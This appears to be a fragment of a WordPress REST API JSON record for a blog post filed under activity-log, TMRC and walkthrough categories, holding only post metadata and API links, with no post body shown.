[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,2,19],"tags":[],"class_list":["post-2520","post","type-post","status-publish","format-standard","hentry","category-activity_log","category-tmrc","category-walkthrough"],"_links":{"self":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2520"}],"version-history":[{"count":10,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2520\/revisions"}],"predecessor-version":[{"id":2556,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/2520\/revisions\/2556"}],"wp:attachment":[{"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}